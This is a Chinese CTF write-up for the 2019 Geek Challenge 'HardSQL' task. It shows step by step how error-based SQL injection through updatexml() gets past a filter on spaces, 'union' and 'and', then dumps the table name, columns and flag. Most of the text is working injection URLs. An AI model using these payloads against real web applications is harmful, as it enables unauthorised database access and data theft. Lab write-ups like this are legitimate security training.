[極客大挑戰 2019]HardSQL 1
開啟例項,發現是個登陸頁面,檢視原始碼,發現又是GET提交check.php
萬能密碼嘗試
不太行,懷疑欄位或者空格被過濾,嘗試閉合不加其他東西
確認空格、union、and等都被過濾了,嘗試加個括號
並未出現你可知被我速住了,臭弟弟
字樣,()
未被過濾吧,嘗試採用updatexml()函式,構造payload(查庫):
?username=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=admin
成功拿到當前資料庫名geek
,確定為XPATH報錯注入
查表
?username=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23&password=admin
獲得表名H4rDsq1
,查欄位
?username=1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
回顯列太多,採用group_concat()
包裹回顯欄位
?username=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=admin
成功獲得欄位列表:id username password
查欄位資料
?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password)))from(H4rDsq1)),0x7e),1))%23
&password=admin
成功看到flag,因為長度問題,這邊的flag顯示並不完整
嘗試使用substring函式,發現被過濾
?username=1'or(updatexml(1,concat(0x7e,(select(concat(id,',',username,',',substring(password,0,100)))from(H4rDsq1)),0x7e),1))%23
&password=admin
思考片刻,決定採用left()
和right()
函式
首先先計算這邊的最大長度,為33個字元
所以分兩次拿取flag
left(),拿區第一段
?username=1'or(updatexml(1,concat(0x7e,(select(concat(left(password,33)))from(H4rDsq1)),0x7e),1))%23
&password=admin
flag{09f315c2-c334-4f3a-8de9-dc
right(),拿取第二段,第二段需要包含}
,經過多次嘗試為偏移31位
?username=1'or(updatexml(1,concat(0x7e,(select(concat(right(password,31)))from(H4rDsq1)),0x7e),1))%23
&password=admin
c2-c334-4f3a-8de9-dc6df0232a40}
去除重複的文字,最終flag為
flag{09f315c2-c334-4f3a-8de9-dc6df0232a40}